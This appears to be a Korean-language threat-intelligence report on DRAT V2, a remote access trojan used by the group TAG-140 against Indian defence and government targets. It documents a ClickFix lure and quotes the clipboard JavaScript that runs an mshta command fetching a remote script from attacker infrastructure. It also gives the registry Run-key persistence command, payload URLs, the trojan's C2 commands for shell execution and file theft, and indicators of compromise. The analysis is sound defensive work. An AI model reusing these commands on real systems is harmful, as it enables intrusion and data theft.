DRAT V2: 업데이트된 DRAT, TAG-140의 무기고에 등장하다
Executive Summary
Insikt Group은 인도 정부 조직을 겨냥한 최근의 TAG-140 캠페인을 조사하던 중 DRAT 원격 액세스 트로이 목마(RAT)의 변형을 발견했으며 이를 DRAT V2로 지정했습니다. TAG-140은 Transparent Tribe(APT36, ProjectM 또는 MYTHIC LEOPARD로도 추적됨)의 하위 클러스터 또는 운영 계열사로 평가되는 운영 하위 그룹인 SideCopy와 겹치는 부분이 있습니다. TAG-140은 멀웨어 무기고와 전달 기법에서 반복적인 발전과 다양성을 지속적으로 보여주었습니다. 복제된 보도 자료 포털을 통해 인도 국방부를 사칭한 이 최신 캠페인은 멀웨어 아키텍처와 명령 및 제어(C2) 기능 모두에서 약간이지만 주목할 만한 변화가 있음을 나타냅니다.
DRAT V2의 배포는 TAG-140이 원격 액세스 도구를 지속적으로 개선하여, .NET 기반 DRAT 버전에서 Delphi로 컴파일된 새로운 변형으로 전환하고 있음을 보여줍니다. 두 버전 모두 CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore, ReverseRAT 등 이 그룹이 활용해 온 수많은 RAT 중 하나로, 멀웨어가 순환적으로 사용되는 패턴을 나타냅니다. DRAT V2는 맞춤형 TCP 기반 서버 주도 C2 프로토콜을 업데이트하고, 임의의 셸 명령 실행 및 향상된 파일 시스템 상호작용을 포함한 기능적 역량을 확장합니다.
감염 경로 분석 결과, 초기 접근은 ClickFix 스타일의 사회공학적 유인책을 통해 이루어진 것으로 확인되었습니다. 피해자들은 mshta.exe를 통해 악성 스크립트를 실행하도록 유인되었습니다. 이는 이전에 TAG-140에서 사용해 온 BroaderAspect .NET 로더의 실행으로 이어졌습니다. BroaderAspect는 지속성을 확립하고 후속 DRAT V2 설치 및 실행을 수행합니다.
Insikt Group은 도메인 중복, 멀웨어 계통 및 인프라 특성을 근거로 이 활동이 TAG-140의 소행이라고 중간 수준의 신뢰도로 추정하고 있습니다. DRAT V2 기능의 향상으로 피해자 네트워크 전반에 걸쳐 맞춤형 익스플로잇 이후 활동 및 측면 이동에서 TAG-140의 능력이 커질 가능성이 있습니다. 따라서 이러한 공격의 출현은 위협 행위자 수법의 발전과 인도 국방 및 정부 기관에 대한 전략적 표적화를 보여주는 중요한 지표입니다.
주요 연구 결과
- DRAT V2는 임의의 셸 명령 실행을 위한 새로운 명령(exec_this_comm)을 추가하여 익스플로잇 이후의 유연성을 향상시킵니다.
- 이 멀웨어는 간단한 디코딩을 방해하기 위해 앞에 문자열을 추가한 Base64 인코딩을 사용하여 C2 IP 주소를 난독화합니다.
- 이전 버전과 달리, DRAT V2는 대부분의 명령 헤더를 평문으로 유지함으로써 문자열 난독화를 줄입니다. 아마도 은폐보다는 구문 분석의 신뢰성을 우선시하는 것 같습니다.
- DRAT V2는 맞춤형 서버 주도 TCP 기반 프로토콜을 업데이트하여 ASCII와 유니코드로 입력된 명령을 모두 지원하며, ASCII로만 응답합니다.
- DRAT V2는 고급 분석 방지 기술이 부족하고 기본적인 감염 및 지속성 방법에 의존하므로, 정적 및 행동 분석을 통해 탐지될 수 있습니다.
배경
TAG-140은 공개적으로 보도된 그룹 Sidecopy와 겹치는 위협 행위자 그룹입니다. Sidecopy는 Transparent Tribe(APT36, ProjectM, MYTHIC Leopard로도 추적됨)의 하위 클러스터 또는 운영 계열사로 평가되는 파키스탄의 국가 연계 지능형 지속 위협(APT) 그룹으로 의심되고 있습니다. 적어도 2019년부터 활동해 온 TAG-140은 주로 인도 기관을 대상으로 하고 있으며, 최근 활동은 전통적인 정부, 국방, 해양, 학계 부문을 넘어 이제는 인도의 철도, 석유 및 가스, 외무부와 관련된 조직으로 확대되었습니다.
이 그룹은 스피어피싱 캠페인을 활용하고, 배포를 위해 HTML 애플리케이션(HTA) 또는 Microsoft Installer(MSI) 패키지를 사용하며, 소프트웨어 취약점(예: WinRAR)을 악용하고, CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore, ReverseRAT, DRAT와 같은 다양한 RAT를 사용하는 등, 수법에서 일관된 진화를 보여주었습니다(1, 2, 3). 이들의 감염 체인은 일반적으로 Windows와 Linux 환경을 모두 대상으로 합니다.
Insikt Group은 최근 인도 정부를 사칭한 ClickFix 캠페인의 아티팩트를 분석했으며, 이를 TAG-140 위협 행위자의 소행으로 식별했습니다. TAG-140은 합법적인 정부 웹사이트 mod[.]gov[.]in과 매우 유사한 악성 도메인 email[.]gov[.]in[.]drdosurvey[.]info를 사용하여 인도 국방부의 공식 보도 자료 포털을 모방한 위조 웹사이트를 만들었습니다 (urlscan.io). 정식 포털의 구조와 레이아웃을 복제한 복제된 웹사이트에는 2023년 9월부터 2025년 4월까지의 보도 자료가 나열되어 있습니다. 그러나 2025년 3월에 대한 링크만 활성화되어 있었습니다.
그림 1: 복제된 국방부 포털(출처: Hunt.io)
활성화된 2025년 3월 링크를 클릭하면 ClickFix 스타일의 소셜 엔지니어링 공격이 발생했습니다. Insikt Group은 TAG-140 Windows 감염 체인에 대한 추가 분석을 수행하여, 2024년 말에 확인된 TAG-140 활동에 대한 연구에서 Seqrite Labs가 보고한 감염 체인과 유사하다고 판단했습니다. 감염 체인(그림 2)을 분석한 결과, 최종 페이로드는 새로운 Delphi 기반 DRAT 변형(DRAT V2)임이 밝혀졌습니다. 이전에 DRAT는 .NET으로 개발되었으며 2023년에 SideCopy 활동과 관련된 것이 처음 확인되었습니다. 업데이트된 변형에는 새로운 명령 기능과 약간 수정된 C2 프로토콜이 포함되어 있습니다.
그림 2: DRAT V2를 배포하는 TAG-140 감염 체인(출처: Recorded Future)
-
사용자가 아래 URL로 이동됩니다(urlscan.io). 사용된 전달 메커니즘은 알 수 없지만, TAG-140의 전술, 기법 및 절차(TTP)를 토대로 볼 때 사용자가 링크를 클릭하도록 유도하는 스피어피싱 이메일로 전달되었을 가능성이 높습니다. 그 후 사용자는 "2025년 3월 보도" 링크를 클릭하도록 유도됩니다. Windows 컴퓨터에서 해당 링크를 클릭하면 사용자는 URI(Uniform Resource Identifier)/captcha/windows.php로 리디렉션됩니다.
hxxps://email[.]gov[.]in[.]drdosurvey[.]info/content/press-releases-ministry-defence-0.html - 리디렉션된 웹사이트(urlscan.io)에는 "**공개 - 공식 사용 전용(FOUO)**"이라는 경고가 표시되고 사용자에게 "계속"을 클릭하라는 메시지가 표시됩니다.
-
"계속"을 클릭하면 JavaScript가 아래의 악성 명령을 클립보드에 복사하고, 사용자가 명령 셸에 붙여넣어 실행하도록 유도합니다. 이 명령은 mshta.exe를 사용하여 원격 스크립트(index.php/sysinte.hta)를 TAG-140의 인프라, _trade4wealth[.]in_에서 가져와 실행합니다.
const calcPath = "C:\\Windows\\System32\\mshta.exe
hxxps://trade4wealth[.]in/admin/assets/css/default/index.php";
navigator.clipboard.writeText(calcPath) -
index.php/sysinte.hta의 실행으로 Seqrite Labs에서 처음 보고한 BroaderAspect 로더가 생성 및 실행됩니다. BroaderAspect는 다음 작업을 수행합니다.
-
다음 URL에서 유인 문서 survey.pdf를 다운로드하고 엽니다.
hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/01/survey.pdf -
noway.bat라는 Windows 배치 파일을 생성하고 실행합니다. 여기에는 Microsoft에서 정의한 자동 시작 위치에 레지스트리 항목을 추가하여 DRAT v2의 지속성을 설정하는 명령이 포함되어 있습니다.
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Edgre" /t REG_SZ /F /D "cmd /C start C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf -
다음 URL에서 DRAT V2 페이로드를 다운로드하고 압축을 해제합니다.
Initial Request: hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/02
Redirect: hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/02/ayty.ert -
다음 명령어로 DRAT V2를 실행합니다:
C:\Windows\system32\cmd.exe /c cmd /C start
C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf
-
다음 URL에서 유인 문서 survey.pdf를 다운로드하고 엽니다.
Insikt Group은 다음과 같은 특성을 근거로 이 활동이 TAG-140의 소행이라고 중간 정도의 신뢰도로 추정합니다.
- 인도 국방부와 같은 인도 방위 기관을 사칭하고 표적으로 삼는 행위는 이미 확인된 TAG-140 표적과 일치합니다.
- BroaderAspect 로더와 DRAT 모두 TAG-140(1, 2)에서 독점적으로 사용되는 것으로 보이며, 어느 쪽이든 이 변형을 사용하는 것은 TAG-140 TTP와 일치합니다.
- email[.]gov[.]in[.]drdosurvey[.]info 도메인은 다른 APT36 공격(1, 2)과 겹치며 Namecheap을 호스팅 제공업체로 사용합니다. 여러 사례에서 TAG-140이 일반적으로 Namecheap를 GoDaddy 및 Hostinger(1, 2, 3, 4)과 함께 사용하는 것이 관찰되었습니다.
- DRAT V2 외에도 TAG-140은 이전에 오픈 소스 AllaKore RAT와 같은 Delphi 기반 멀웨어를 사용한 적이 있습니다.
기술 분석
DRAT V2는 Delphi로 개발된 경량 RAT이며, 2023년에 TAG-140의 소행으로 처음 확인된 이전의 .NET 기반 변형이 진화된 버전입니다. DRAT V2는 이전 버전에서 다음과 같은 몇 가지가 업데이트되었습니다.
- 맞춤형 TCP 기반 서버 주도 C2 프로토콜의 업데이트
- 추가로 문자열을 앞에 붙여 C2 인프라의 Base64 난독화를 강화
- 임의의 Windows 명령 실행을 위해 명령 헤더 업데이트 및 새로운 명령 추가
그림 3은 DRAT V2의 대략적인 개요를 보여줍니다.
그림 3: DRAT V2 요약(출처: Recorded Future)
DRAT V2는 TAG-140 운영자가 손상된 호스트와 다양한 상호작용을 수행할 수 있도록 하는 명령 세트를 지원합니다. 통신이 설정되면 멀웨어는 수동적으로 C2 서버의 지시를 기다립니다. 지원되는 작업에는 사용자 이름, 운영 체제 버전, 시스템 시간, 현재 작업 디렉터리 수집과 같은 시스템 정찰은 물론, 연결 유효성 검사, 로컬 파일 시스템 및 디렉터리 열거가 포함됩니다.
DRAT V2는 정찰을 넘어서, 표적 환경과의 보다 적극적인 상호작용을 용이하게 합니다. 호스트와 C2 인프라 간에 양방향 파일 전송이 가능해, 운영자가 추가 페이로드를 업로드하거나 데이터를 유출할 수 있습니다. 또한 로컬 파일과 임의의 Windows 셸 명령 실행을 지원하며, 출력을 C2로 반환합니다. 이러한 기능을 통해 TAG-140은 감염된 시스템에 대한 지속적이고 유연한 제어를 수행할 수 있으며, 보조 멀웨어 도구를 배포할 필요 없이 자동화된 대화형 익스플로잇 이후 활동을 수행할 수 있습니다. 그림 4에는 DRAT V2의 기능이 요약되어 있습니다.
그림 4: DRAT V2 기능 매트릭스(출처: Recorded Future)
DRAT V2 명령어
DRAT V2는 손상된 호스트에서 원격 제어 기능을 지원하기 위해 맞춤형 TCP, 텍스트 기반, 서버 주도 프로토콜인 명령 인터페이스를 계속 사용합니다. 정형화된 형식을 통해 명령 실행, 파일 조작, 시스템 정찰이 가능합니다.
DRAT V2 명령 프로토콜은 물결표(~)와 파이프(|) 문자를 구분 기호로 사용하여 구별됩니다. C2 인프라와 연결이 설정되면 멀웨어는 수동 상태로 들어가 서버로부터의 인바운드 명령을 기다립니다. 이 지침은 호스트 정찰, 파일 관리, 직접 실행 등의 기능을 포함하는 9개의 개별 명령 유형(표 1)으로 구성되어 있습니다. 각 명령은 결정론적 형식을 따르므로 운영자는 일관성과 낮은 오버헤드를 유지하며 침해 후 조치를 조율할 수 있습니다.
DRAT V2 명령 | 기능 | 설명 |
initial_infotonas | 시스템 정보 | 이 명령은 사용자 이름, OS 버전, 타임스탬프, 작업 디렉터리를 포함한 호스트 환경 세부 정보를 요청하여 시스템 수준의 정찰을 시작합니다. 응답은 7개의 필드로 정형화되어 있습니다. |
sup | 에코/연결 테스트 | 이 명령은 손상된 호스트와의 활성 통신을 확인하는 데 사용됩니다. |
lst_of_sys_drvs | 볼륨 목록 | 이 명령은 DRAT V2가 대상 시스템에서 접근 가능한 논리 드라이브를 열거할 수 있도록 합니다. |
here_are_dir_details | 정보를 포함한 디렉터리 및 파일 목록 | 이 명령은 디렉터리 및 파일에 대한 정형화된 메타데이터를 검색하며, 여기에는 이름, 크기, 타임스탬프, 경로가 포함됩니다. 특히, 구현에는 전체 경로가 후속 항목과 부적절하게 연결되는 결함이 있어 운영자의 구문 분석에 영향을 미칠 수 있습니다. |
filina_for_down | 파일 크기 | 이 명령은 지정된 파일의 바이트 크기를 검색하는 데 사용됩니다. |
file_upl | 파일 업로드 | 이 명령은 C2에서 대상 호스트로 파일 전송을 지원합니다. 명령을 실행하려면 파일 경로와 크기를 모두 지정해야 하며, 이는 페이로드 스테이징이나 보조 도구 배포를 용이하게 합니다. |
this_filina_exec | 파일 실행 | 이 명령은 호스트 시스템에서 지정된 파일을 실행합니다. 이 기능을 사용하면 추가 페이로드를 전달하거나 로컬 파일 시스템 내에서 기존 바이너리를 실행할 수 있습니다. |
fil_down_confirmina | 파일 다운로드 | 이 명령은 피해 시스템에서 C2 서버로 파일을 유출할 수 있도록 합니다. 다른 응답과 달리 응답 헤더가 없으며, 원시 파일 내용만 C2에 전송됩니다. |
exec_this_comm | 명령 실행 | 이 명령을 통해 감염된 호스트에서 임의의 셸 명령을 실행할 수 있습니다. 이는 대화형 작업의 유연성을 상당히 증가시켜 실시간 작업과 온디맨드 익스플로잇 이후 활동을 가능하게 합니다. |
표 1: DRAT V2 명령(출처: Recorded Future)
이 명령 세트를 통해 TAG-140은 호스트 정찰, 데이터 준비, 잠재적 측면 이동을 포함한 다양한 익스플로잇 이후 목표를 지원할 수 있습니다. 특히 DRAT V2는 임의 명령 실행 지원을 통합하여 이전 버전의 기능을 확장했습니다. 부록 B는 매개변수를 포함한 각 명령에 대한 자세한 분석을 제공합니다.
그림 5에는 감염된 호스트와 C2 간의 C2 통신의 예가 나와 있습니다. 이 예에서 C2 서버는 exec_this_comm~whoami 명령을 전송하여 감염된 호스트에 whoami 명령을 실행하라고 지시합니다. 그 후 감염된 호스트는 명령의 결과를 응답합니다.
그림 5: Wireshark에 의해 기록되고 표시된 DRAT V2 명령 실행 요청 및 응답 패킷(출처: Recorded Future)
DRAT vs DRAT V2
이 비교 분석은 원래 DRAT와 DRAT V2 간의 기술적 및 운영적 차이점을 집중적으로 보여줍니다. 개발 플랫폼의 변화는 멀웨어의 컴파일, 실행 및 잠재적 탐지 방식에 영향을 미치는 중요한 아키텍처 전환을 나타냅니다. 두 변형 모두 경량 RAT와 유사한 핵심 기능을 유지하고 있지만, DRAT V2는 명령 구조, C2 난독화 기술 및 통신 프로토콜에 의미 있는 개선을 도입하면서 문자열 난독화 사용을 최소화한 특징이 있습니다. 이러한 조정은 TAG-140이 익스플로잇 이후 작전에서 회피, 모듈성, 유연성을 개선하기 위해 도구를 발전시키고자 지속적으로 노력하고 있음을 보여줍니다.
명령 헤더 변형
두 DRAT 변형 모두 원격 관리를 위해 유사한 명령을 구현하지만, 각 버전은 명령 헤더에 고유한 명명 규칙을 사용합니다. 예를 들어, DRAT의 시스템 정보 명령은 getInformitica로 레이블이 지정되어 있으며, DRAT V2는 initial_infotonas를 사용합니다. DRAT V2는 감염된 호스트에서 임의의 셸 명령을 실행할 수 있는 새로운 명령 exec_this_comm을 도입했습니다. 이는 원래의 DRAT에는 없었던 개선 사항으로, 익스플로잇 이후 기능의 확장을 나타냅니다. 아래 비교 표(표 2)에는 두 버전의 요청 및 응답 헤더가 줄 단위로 상세히 나열되어 있습니다. 이 표에서 녹색으로 강조된 명령 매핑은 두 변형 모두에서 기능적으로 유지되는 명령을 나타내며, 노란색으로 강조된 항목은 DRAT V2에만 새로 추가된 항목을 나타냅니다.
명령 | DRAT 명령 헤더 | DRAT V2 명령 헤더 |
시스템 정보 요청 | getInformitica | initial_infotonas |
시스템 정보 응답 | informiticaBack| | my_ini_info| |
에코/연결 테스트 요청 | sup | sup |
에코/연결 테스트 응답 | supconfirm | hello_frm_me |
볼륨 목록 요청 | 드라이브 목록 | lst_of_sys_drvs |
볼륨 목록 응답 | 드라이브 목록 | lst_of_sys_drvs |
정보를 포함한 디렉터리 및 파일 목록 요청 | enterPath | here_are_dir_details |
정보를 포함한 디렉터리 및 파일 목록 응답 | enterPath | here_are_dir_details |
파일 크기 요청 | fdl | filina_for_down |
파일 크기 응답 | fInfo | fileina_detailwa |
파일 업로드 요청 | fup | file_upl |
파일 업로드 응답 | fupConfirm | file_upl_confrm |
파일 실행 요청 | fupexec | this_filina_exec |
파일 실행 응답 | fupexecConfirm fileExecuted |
file_exec_confirm |
파일 다운로드 요청 | fdlConfirm | fil_down_confirmina |
명령 실행 요청 | exec_this_comm | |
명령 실행 응답 | comm_resultwa | |
파일 다운로드 응답 | [파일 내용] | [파일 내용] |
표 2: DRAT와 DRAT V2의 명령 비교(출처: Recorded Future)
C2 통신의 텍스트 형식
두 버전 모두 C2 상호작용에 텍스트 기반 통신 프로토콜을 활용합니다. 그러나 인코딩 요구 사항이 다릅니다. 기존 DRAT는 입력과 출력 모두에 유니코드를 요구한 반면, DRAT V2는 유니코드와 ASCII로 명령을 수신하지만 항상 ASCII로 응답합니다(그림 6).
그림 6: Wireshark에 의해 기록되고 표시된 DRAT V1 볼륨 목록 요청 및 응답(출처: Recorded Future)
시스템 정보의 차이
두 버전의 시스템 정보 응답에는 많은 유사점이 있지만, 유니코드 텍스트, 서로 다른 명령 요청 헤더, win-def 대신 WinDefender 사용(둘 다 하드코딩됨) 등의 차이가 있습니다. 마지막으로, DRAT와 DRATV2는 시스템 정보 응답의 Windows 버전 형식에서 차이가 있습니다. DRAT는 단순히 레지스트리 키 Software\Microsoft\Windows NT\CurrentVersion\ProductName의 값을 반환하는 반면, DRAT V2는 API 호출 GetVersionExW()를 사용하여 Windows 버전을 가져오고 소스 코드에서 Base64로 인코딩된 맞춤 문자열을 반환합니다. 표 3에 두 명령의 차이점이 요약되어 있습니다.
시스템 정보 구성 요소 | DRAT 시스템 정보 응답 | DRAT V2 시스템 정보 응답 |
명령 구분자 | 인바운드 요청에서 ~ 문자 이후의 데이터 | 인바운드 요청에서 ~ 문자 이후의 데이터 |
N.A 필드 | 하드코딩된 "N.A" | 하드코딩된 "N.A" |
Username 필드 | SystemInformation.Username()을 통해 검색된 사용자 이름 | System::Sysutils:: GetEnvironmentVariable("USERNAME")을 통해 검색된 사용자 이름 |
Windows 버전 필드 | 다음을 통해 검색된 Windows 버전: Software\Microsoft\Windows NT\CurrentVersion\ProductName 예: Windows 10 Pro |
GetVersionExW()를 통해 검색된 Windows 버전은 다음 중 하나로 변환됩니다.
|
식별자 필드 | 하드코딩된 Win Defender | 하드코딩된 win-def |
날짜/시간 타임스탬프 필드 | DateTime.Now.ToString()을 통해 검색된 DD/MM/YYYY HH:MM:SS AM/PM 형식의 현재 날짜 및 시간 | SysUtils::Now()를 통해 검색된 YYYY-MM-DD HH:MM:SS 형식의 현재 날짜 및 시간 |
작업 경로 필드 | 작업 디렉터리의 전체 경로 | 작업 디렉터리의 전체 경로 |
표 3: DRAT와 DRAT V2 시스템 정보 요청 및 응답 필드(출처: Recorded Future)
C2 난독화의 차이점
두 DRAT 변형 모두에서 C2 정보는 Base64로 인코딩됩니다. DRAT는 C2 IP 주소를 직접 인코딩하지만, DRAT V2는 Base64 인코딩 전에 IP 주소 앞에 다음 문자열 중 하나를 추가하는 수정된 C2 난독화 접근 방식을 사용합니다.
- <><><><><><><><><><><>
- XXXXXXXXXXXXXXXXXXXXXX
접두사가 있는 인코딩된 C2 IP의 예: PD48Pjw+PD48Pjw+PD48Pjw+PD48PjE4NS4xMTcuOTAuMjEy 접두사가 있는 디코딩된 C2 IP의 예: 185.117.90.212 |
이러한 사전 추가된 패턴은 기본적인 무결성 검사 역할을 하거나 분석가 및 자동화된 도구에 의한 단순한 디코딩을 방지하는 데 도움이 될 수 있습니다.
문자열 난독화
문자열 난독화 전략도 변형 간에 차이가 있습니다. DRAT는 대체 알고리즘을 사용하여 명령과 운영 문자열을 모두 인코딩하는 보다 광범위한 체계를 사용합니다. 반면 DRAT V2는 Windows 버전 및 C2 정보와 같은 문자열을 선택적으로 난독화하지만 명령 헤더는 평문으로 남겨둡니다. DRAT V2의 제한된 난독화 접근 방식은 은폐와 구문 분석 신뢰성 간의 절충을 의미할 수 있습니다.
탐지
![]() |
|
Snort
![]() |
|
Sigma
![]() |
|
YARA
![]() |
|
완화 조치
- DRAT V2에서 C2 작업에 사용하는 일반적이지 않은 대상 포트(3232, 6372, 7771 등)에 대한 아웃바운드 TCP 연결을 차단하거나 모니터링합니다. 높은 번호의 포트를 대상으로 하는 확인된 프로토콜과 일치하지 않는 비정상적인 TCP 트래픽을 모니터링합니다.
- Base64, ASCII 또는 유니코드 형식으로 인코딩된 아웃바운드 명령 응답 및 인바운드 셸 명령 지시(부록 B)가 있는지 네트워크 트래픽을 검사합니다. 특히 비정상적인 포트에 설정된 TCP 세션 기반의 트래픽 디코딩 및 검사를 강조합니다.
- 이 보고서의 탐지 규칙을 사용하여 레지스트리 실행 키, 파일 기반 로더 및 인코딩된 C2 패턴을 통해 DRAT V2 실행 및 지속성을 식별합니다. 맞춤형 YARA 규칙을 배포하여 .NET 및 Delphi로 컴파일된 DRAT 샘플을 모두 탐지합니다.
- 원격 스크립트를 호출하거나 보조 페이로드를 시작하는 파일을 모니터링하기 위한 탐지 논리를 배포합니다. 이는 감염 체인의 핵심 구성 요소로, 악성 HTA 스크립트가 BroaderAspect와 같은 DRAT 로더를 가져와 실행하는 역할을 합니다.
- 레지스트리 수정 이벤트, 특히 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run과 관련된 이벤트를 모니터링합니다. 이를 이용해 TAG-140은 C:\Users\Public</span>의 위장된 파일 이름을 통해 DRAT V2를 실행함으로써 지속성을 유지합니다.
전망
TAG-140의 DRAT V2 배포는 광범위하고 상호 교환 가능한 원격 액세스 트로이 목마 제품군을 유지해 온 오랜 관행과 일치합니다. 이러한 지속적인 다각화는 속성, 탐지 및 모니터링 활동을 복잡하게 만듭니다. DRAT V2는 확실한 진화라기보다는 또 다른 모듈식 추가 기능으로 보입니다. 따라서 TAG-140이 시그니처를 모호하게 하고 운영의 유연성을 유지하기 위해 캠페인 전반에 걸쳐 RAT를 번갈아 사용할 가능성이 커졌습니다.
이러한 문제에도 불구하고 DRAT V2 감염 체인은 방어 회피 또는 분석 방지 기술을 제한적으로 사용합니다. 코드 난독화, 샌드박스 회피 또는 복잡한 로더 동작이 없어, 기본적인 원격 측정 및 정적 분석을 통해 조기에 탐지할 수 있는 가능성이 높습니다. 보안팀은 멀웨어 도구 및 감염 체인에 대한 실험이 지속될 것임을 예상하고 대비해야 합니다. 특정 멀웨어 제품군보다 스피어피싱 인프라, 로더 재사용, 행동 지표를 모니터링하는 것이 TAG-140 활동에 대한 가시성을 유지하는 데 매우 중요합니다.
부록 A: 침해 지표
DRAT V2
ce98542131598b7af5d8aa546efe8c33a9762fb70bff4574227ecaed7fff8802 0d68012308ea41c6327eeb73eea33f4fb657c4ee051e0d40a3ef9fc8992ed316 c73d278f7c30f8394aeb2ecbf8f646f10dcff1c617e1583c127e70c871e6f8b7 DRAT 830cd96aba6c328b1421bf64caa2b64f9e24d72c7118ff99d7ccac296e1bf13d c328cec5d6062f200998b7680fab4ac311eafaf805ca43c487cda43498479e60 DRAT V2 C2 185[.]117[.]90[.]212:7771 154[.]38[.]175[.]83:3232 178[.]18[.]248[.]36:6372 DRAT C2 38[.]242[.]149[.]89:61101 |
부록 B: DRAT V2 명령 매개변수 및 응답
시스템 정보
initial_infotonas 명령은 사용자 이름, OS 버전, 타임스탬프 및 작업 디렉터리를 포함한 호스트 환경 세부 정보를 요청하여 시스템 수준의 정찰을 시작합니다. 응답은 7개의 필드로 정형화되어 있습니다.
시스템 정보 요청 헤더 | 매개변수 | 매개변수 설명 |
initial_infotonas | 1 | 알 수 없음: 연속 번호가 관찰됨 |
시스템 정보 응답 헤더 | 매개변수 | 매개변수 설명 | |||||||
my_ini_info| | 7 |
|
에코/연결 테스트
sup 명령은 손상된 호스트와의 활성 통신을 확인하는 데 사용됩니다.
에코/연결 테스트 요청 헤더 | 매개변수 | 매개변수 설명 |
sup | 0 |
명령 실행 응답 헤더 | 매개변수 | 매개변수 설명 |
hello_frm_me | 0 |
볼륨 목록
lst_of_sys_drvs 명령을 통해 DRAT V2는 대상 시스템에서 접근 가능한 논리 드라이브를 열거할 수 있습니다.
볼륨 목록 요청 헤더 | 매개변수 | 매개변수 설명 |
lst_of_sys_drvs | 0 |
볼륨 목록 응답 헤더 | 매개변수 | 매개변수 설명 |
lst_of_sys_drvs | 1 |
다음 형식의 볼륨 목록: [볼륨 문자 1]:\1000000\r\n[볼륨 문자 2]1000000\r\n[볼륨 문자 n]1000000\r\ |
속성을 포함한 디렉터리 목록
here_are_dir_details 명령은 디렉터리 및 파일에 대한 정형화된 메타데이터를 검색하며, 여기에는 이름, 크기, 타임스탬프 및 경로가 포함됩니다. 특히, 구현에는 전체 경로가 후속 항목과 부적절하게 연결되는 결함이 있어 운영자의 구문 분석에 영향을 미칠 수 있습니다.
디렉터리 목록 요청 헤더 | 매개변수 | 매개변수 설명 |
here_are_dir_details | 1 | 디렉터리 경로 |
디렉터리 목록 응답 헤더 | 매개변수 | 매개변수 설명 |
here_are_dir_details | 1 |
"+"로 구분된 다음 형식의 속성을 포함한 하위 디렉터리 및 파일 목록:
|
파일 크기
filina_for_down 명령은 지정된 파일의 바이트 크기를 검색하는 데 사용됩니다.
파일 크기 요청 헤더 | 매개변수 | 매개변수 설명 |
filina_for_down | 1 | 파일 경로 |
파일 크기 응답 헤더 | 매개변수 | 매개변수 설명 |
fileina_detailwa | 1 | 파일의 크기(바이트 단위) |
파일 업로드
file_upl~ 명령은 C2에서 대상 호스트로 파일 전송을 지원합니다. 명령을 실행하려면 파일 경로와 크기를 모두 지정해야 하며, 이는 페이로드 스테이징이나 보조 도구 배포를 용이하게 합니다.
파일 업로드 요청 헤더 | 매개변수 | 매개변수 설명 |
fil_upl~ | 2 | 파일 경로 및 크기 |
파일 업로드 응답 헤더 | 매개변수 | 매개변수 설명 |
fil_upl_confrm | 0 |
파일 실행
this_filina_exec 명령은 호스트 시스템에서 특정 파일을 실행합니다. 이 기능을 사용하면 추가 페이로드를 전달하거나 로컬 파일 시스템 내에서 기존 바이너리를 실행할 수 있습니다.
파일 실행 요청 헤더 | 매개변수 | 매개변수 설명 |
this_filina_exec | 1 | 실행할 파일의 전체 경로 |
파일 실행 응답 |
file_exec_confirm |
파일 다운로드
fil_down_confirmina 명령은 피해자 시스템에서 C2 서버로 파일을 유출할 수 있도록 합니다. 다른 응답과 달리 응답 헤더가 없으며, 원시 파일 내용만 C2에 전송됩니다.
파일 다운로드 요청 헤더 | 매개변수 | 매개변수 설명 |
fil_down_confirmina | 1 | 다운로드할 파일의 전체 경로 |
파일 다운로드 응답 헤더 | 매개변수 | 매개변수 설명 |
헤더 없음 | 0 | 원시 파일 내용 |
명령 실행
exec_this_comm 명령을 통해 감염된 호스트에서 임의의 셸 명령을 실행할 수 있습니다. 이는 대화형 작업의 유연성을 상당히 증가시켜 실시간 작업과 온디맨드 익스플로잇 이후 활동을 가능하게 합니다.
명령 실행 요청 헤더 | 매개변수 | 매개변수 설명 |
exec_this_comm | 1 | Windows 명령 |
명령 실행 응답 헤더 | 매개변수 | 매개변수 설명 |
comm_resultwa | 1 | 요청된 Windows 명령 응답 |
전체 분석 내용을 읽으려면 여기를 클릭하여 PDF 보고서를 다운로드하세요.
관련